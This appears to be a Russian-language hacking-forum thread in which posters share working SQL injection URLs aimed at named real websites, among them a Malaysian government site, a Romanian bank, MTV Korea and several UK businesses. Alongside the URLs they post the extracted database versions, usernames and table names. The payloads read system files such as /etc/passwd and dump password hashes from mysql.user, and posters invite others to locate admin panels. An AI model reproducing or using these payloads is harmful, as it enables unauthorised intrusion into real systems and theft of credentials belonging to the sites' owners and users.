SQL Инъекции

Version: Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Desktop Engine on Windows NT 5.2 (Build 3790: Service Pack 1)

И ещё какие то Microsoft JET Database:
Нагуглил чо то про Jet Database, вот так примерно делать надо.

 

http://faganmedia.com/profile.php?id='+UNION+SELECT+1,2,3,4,5,load_file('/etc/passwd'),7,8,9--+

http://www.ilpkl.gov.my/alumni/dataDetail.php?recordID=-20+union+all+select+1,2,load_file('/etc/passwd'),user(),version(),6,7,concat(user,0x3a,password),9,10+from+mysql.user--
http://www.ilpkl.gov.my/alumni/dataDetail.php?recordID=-20+union+all+select+1,2,load_file('/etc/httpd/conf/httpd.conf'),4,5,6,7,8,9,10--
http://www.ilpkl.gov.my/alumni/dataDetail.php?recordID=-20+union+all+select+1,2,load_file('/etc/httpd/php.ini'),4,5,6,7,8,9,10--
root@localhost, 5.0.37

 

хрум

 

Министерство транспорта Российской Федерации

Code:

Microsoft SQL Server 2005 - 9.00.4035.00 (Intel X86) 
Nov 24 2008 13:01:59 
Copyright (c) 1988-2005 Microsoft Corporation
Workgroup Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

 

Code:

http://www.findsubtitles.com/latest.php?page=-864+union+select+1,2,version(),4--

5.0.81-community-log

 

http://www.traubfuneralhome.com/display.php?id=1876+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16

Database Version: 5.0.45-community-nt
Database name: traubdata
User name: traubdata@localhost

24 :In database traubdata found table users
1 : user_id
2 : user_name
3 : user_password

хто админку найдеть напишите в личку

 

http://love-gorod.com/index.php?anketa=58+UNION+SELECT+AES_DECRYPT(AES_ENCRYPT(CONCAT(0x7873716C696E6A626567696E,Version(),0x2F2A2A2F,Database(),0x2F2A2A2F,User(),0x7873716C696E6A656E64),0x71),0x71),2,3,4,5,6,7,8,9,10,11--
Database Version: 5.0.67-community
Database name: admin_love
User name: admin_love@localhost

http://www.office-direct.biz/news/id52+UNION+SELECT+1,version%28%29,3,4,5,6,7+LIMIT+1,1--
Database Version: 5.0.45-log
Database name: ofdir
User name: ofdir@localhost

 

PostgreSQL 8.2.9 on x86_64-unknown-linux-gnu, compiled by GCC gcc (GCC) 4.1.2 20061115 (prerelease) (Debian 4.1.1-21):conabweb:bd_conabweb

 

Gameguru Mania
root@localhost : box : 5.0.32-Debian_7etch8-log

http://www.ggmania.com/cheatprint.php3?cheat=0+union+all+select+1,CONCAT_WS(0x203a20,user(),database(),version()),3,CONCAT_WS(0x203a20,user,password),5+from+mysql.user/*

http://www.ggmania.com/cheatprint.php3?cheat=0+union+all+select+1,load_file(0x2F6574632F706173737764),3,4,5/*

 

redboss@localhost:mobilegamesdb_com:5.0.51a-24+lenny1-log

Code:

http://www.mobilegamesdb.com/game.php?id=-369+union+select+concat_ws(0x3a,user(),database(),version()),2,3,4,5,6,7--

 

Code:

http://isic-lipetsk.ru/?com=cat&id=-19+union+select+concat_ws(char(58,58),user(),database(),%20version())--

[email protected]::wwwisiclipetskru::4.1.25-log

Code:

http://www.ctyfc.co.uk/team.php?id=-8+union+select+concat_ws(char(58,58),user(),database(),version()),2,3/*  

[email protected]::uk2camberlecouk22457_1::4.0.24-log

 

MTV.co.kr pr5
MTV Корея

Code:

[COLOR=SlateGray]http://www.mtv.co.kr/tv/truemusiclive/content.php?pid=85+and+substring(version(),1,1)=5+--+[/COLOR]

mysql: 5.0.51a-3ubuntu5.4-log
database(): mtv4
user(): mtvkor@www

 

Procredit bank

http://www.procreditbank.ro/hr_job_details.php?id=31+and+substring(@@version,1,1)=5

 

Официальный международный фан-клуб Русланы

Code:

http://fanclub.ruslana.ua/ru/national.php?country=-65%20union%20select%20username%20FROM%20admins

Code:

http://fanclub.ruslana.ua/ru/national.php?country=-65%20union%20select%20username%20FROM%20users

Code:

http://fanclub.ruslana.ua/myadmin/

Версия 5.0.86

 

66 полей, жесть

Code:

http://www.[COLOR=Olive]pxel.ru[/COLOR]/index.php?d=b&iduni=-15541+union+select+1,concat_ws(char(58,58),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66--&from=ya  

[email protected]::wwwpxelru::4.0.26
тиц 60 пр 4

 

springhousecaravanpark.co.uk PR-3

Code:

http://www.springhousecaravanpark.co.uk/detail.php?id=104+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7+--+

Code:

5.0.45:[email protected]:blueskyresorts

heathergate.co.uk PR-3

Code:

http://www.heathergate.co.uk/detail.php?id=132+union+select+1,concat_ws(0x3a,version(),user(),database()),3,4,5,6,7+--+

Code:

5.0.45:[email protected]:blueskyresorts

eyecandy-promo.co.uk PR-2

Code:

http://www.eyecandy-promo.co.uk/page.php?p=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,concat_ws(0x3a,version(),user(),database())+--+

Смотрим в сорцах в теге body, параметр id

Code:

layout_5.0.77:[email protected]:icandydb

 

Comision Federal de Mejora Regulatoria

Code:

Microsoft SQL Server 2000 - 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)

 

4.1.12:admin@localhost
http://www.dwarvenforge.com/store/product.php?productid=16387)+union+select+concat_ws(0x203a20,host,user,password,file_priv),2+from+mysql.user/*
http://www.dwarvenforge.com/store/product.php?productid=16387)+union+select+load_file(0x2f6574632f706173737764),2/*

[email protected] : 5.0.18-nt
http://www.salmondevelopments.com/news.php?id=-999+union+all+select+1,unhex(hex(concat_ws(0x203a20,user(),version()))),3--

 

Code:

http://[COLOR=Green]bigchina.ru[/COLOR]/catalog/exhibitions/?cat=-311+union+select+1,concat_ws(char(58,58),user(),database(),version()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--  

bigching_s@localhost::bigching_bigching::4.1.25-log
тиц 50 пр 3